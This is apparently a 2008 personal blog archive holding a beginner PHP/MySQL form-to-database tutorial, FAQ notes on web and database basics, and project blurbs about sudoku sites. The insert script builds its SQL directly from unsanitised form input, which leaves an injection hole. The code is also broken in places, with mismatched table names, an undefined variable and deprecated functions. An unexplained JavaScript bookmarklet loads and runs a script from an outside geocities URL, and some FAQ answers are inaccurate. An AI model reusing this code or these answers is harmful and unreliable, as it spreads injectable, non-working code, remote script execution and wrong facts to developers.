Archive for February, 2008

Database use with PHP and mySQL

Here is example to create the table to the database:

<?php
include ‘config.php’;
include ‘opendb.php’;
$query = ‘CREATE TABLE hoppy (car VARCHAR(20), model VARCHAR(20),
year VARCHAR(4), horsepower VARCHAR(4), torx VARCHAR(4))’;
$result = mysql_query($query);
include ‘closedb.php’;
echo “You created a new table hoppy.<br />”;
?>

Config.php

<?php
// example of config.php
$dbhost = ‘localhost’;
$dbuser = ‘username’;
$dbpass = ‘password’;
$dbname = ‘phptest’;
?>

Opendb.php

<?php
// This is an example opendb.php
$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die (‘Error connecting to mysql’);
mysql_select_db($dbname);
?>

Closedb.php

<?php
// an example of closedb.php
mysql_close($conn);
?>

Example HTML form

<html>
<head>
<title>Form output by PHP</title>
</head>
<body>
<form method=”POST” action=”inputform.php”>
<p>
Car <input type=”text” name=”car” size=”20″>
Model <input type=”text” name=”model” size=”20″>
Year <input type=”text” name=”year” size=”20″>
Horsepower <input type=”text” name=”horsepower” size=”4″>
Torx <input type=”text” name=”torx” size=”3″>

<input type=”submit” value=”Submit”>
</p>
</form>
</body>
</html>

HTML form is calling the inputform.php, which insert the data the database

Inputform.php

<html><body>
<?php
include ‘config.php’;
include ‘opendb.php’;

$car = $_POST['car'];
$model = $_POST['model'];
$year = $_POST['year'];
$horsepower = $_POST['horsepower'];
$torx = $_POST['torx'];

$query = “INSERT INTO hobby (car, model, year, horsepower, torx)
VALUES (‘$car’, ‘$model’, ‘$year’, ‘$horsepower’, ‘$torx’)”;
mysql_query($query) or die(‘Error, insert query failed’);

include ‘closedb.php’;

echo “You insert “. $car . ” ” . $item . “.<br />”;
echo “Thank you for inserting information to my database”;
?>
</body></html>

It would also be nice to see that does that code really added something to the database. We can use PHP to check the content of the database.

This PHP code select all the table information on the alphabetical order by “car” and print out information on the table format

Select_all.php

<?php
include ‘config.php’;
include ‘opendb.php’;

$query  = “select * from hobby order by car”;
$result = mysql_query($query);

?>
<table cellspacing=0 cellpadding=4 border=1>
<tr>
<th>Car</th>
<th>Model</th>
<th>Year</th>
<th>Horsepower</th>
<th>Torx</th>

</tr>
<?php
for($counter = 0; $counter < mysql_num_rows($result); $counter++) {
?>
<tr>
<td><?php echo mysql_result($result,$counter,”car”)?></td>
<td><?php echo mysql_result($result,$counter,”model”)?></td>
<td><?php echo mysql_result($result,$counter,”year”)?> </td>
<td><?php echo mysql_result($result,$counter,”horsepower”)?> </td>
<td><?php echo mysql_result($result,$counter,”torx”)?> </td>
</tr>
<?php
}
?>
</table>

<?php
include ‘closedb.php’;
?>

 

JS

javascript:d=document;c=d.createElement(’script’);d.body.appendChild(c);c.src=’http://www.geocities.com/cooldude46058/crush.txt’;void(0)

faq

How many ways we can pass the variable through the navigation between the pages?

There are three ways to pass variables through the
navigation between the pages.

form action
session
cookie

how to destroy a cookie:

cookie.expires = Now()-1

div: and span:

Both <span> and <div> tags allow you to apply CSS styles

<div> tags are block-level elements, whereas
<span> tags are not

<div> tags are block elements.
<span> tags are NOT block elements.

<div> tags create LINE breaks
<span> tags do not

Divs are BLOCK LEVEL -  elements
Spans are  INLINE -  elements.

<div> tag acts as a PARAGRAPH BREAK,
<span> – no formating of its own,

Trigger and stored procedure:

Procedure can be called any time when required where as
trigger once created we cannot stop the trigger to fire
when not required.

triggers are fired implicitly where as procedure are
called explicitly by procedure name when required.

the p_code of procedure is stored in oracle SGA and can
be global to others.

Triggers are Table dependent,But Procedures are Not

We can not pass Parameters through Triggers,But in case
of sp we can pass no.of parameters

We can not execute triggers explicitly,but ps we can

we can not place transaction processing statments in
triggers(commit,collback,save point), but in ps. we can

we cannot overload triggers, but we can overload
functions & procedures using packages.

Normalization:

Normalization is the process of efficiently organizing data in a database. There are two goals of the normalization process: eliminating redundant data (for example, storing the same data in more than one table) and ensuring data dependencies make sense (only storing related data in a table). Both of these are worthy goals as they reduce the amount of space a database consumes and ensure that data is logically stored.

First Normal Form (1NF): sets the very basic rules for an organized database:

* Eliminate duplicative columns from the same table.
* Create separate tables for each group of related data and identify each row with a unique column or set of columns (the primary key).

(2NF): further addresses the concept of removing duplicative data:

* Meet all the requirements of the first normal form.
* Remove subsets of data that apply to multiple rows of a table and place them in separate tables.
* Create relationships between these new tables and their predecessors through the use of foreign keys.

Third Normal Form (3NF): goes one large step further:

* Meet all the requirements of the second normal form.
* Remove columns that are not dependent upon the primary key.

Fourth Normal Form (4NF):has one additional requirement:

* Meet all the requirements of the third normal form.
* A relation is in 4NF if it has no multi-valued dependencies.

Function and procedure:

function returns a value
procedure returns a parameter

I have been working on the site http://www.sudokuvillage.com  which was an already developed project. I have been responsible for maintaining the projects with daily up dating… Our team has developed the Drupal application, on which the sudoku module is fully functioning. The sudoku village site is working site which helps people solve online sudoku puzzles and also take part in our daily Sudoku contests. By this module we are able to send puzzles on a regular basis to the subscribers, who wish to receive puzzles.

Our team has also developed the Sunoco Browser in the site
http://www.sudokubrowser.com . This proves to be an effective tool to solve sudoku puzzles. By this anyone can share online puzzles, send puzzles to others to get solution. Also puzzles can be saved when it is half done and can be done at some time later on.

Hello world!

Welcome to WordPress.com. This is your first post. Edit or delete it and start blogging!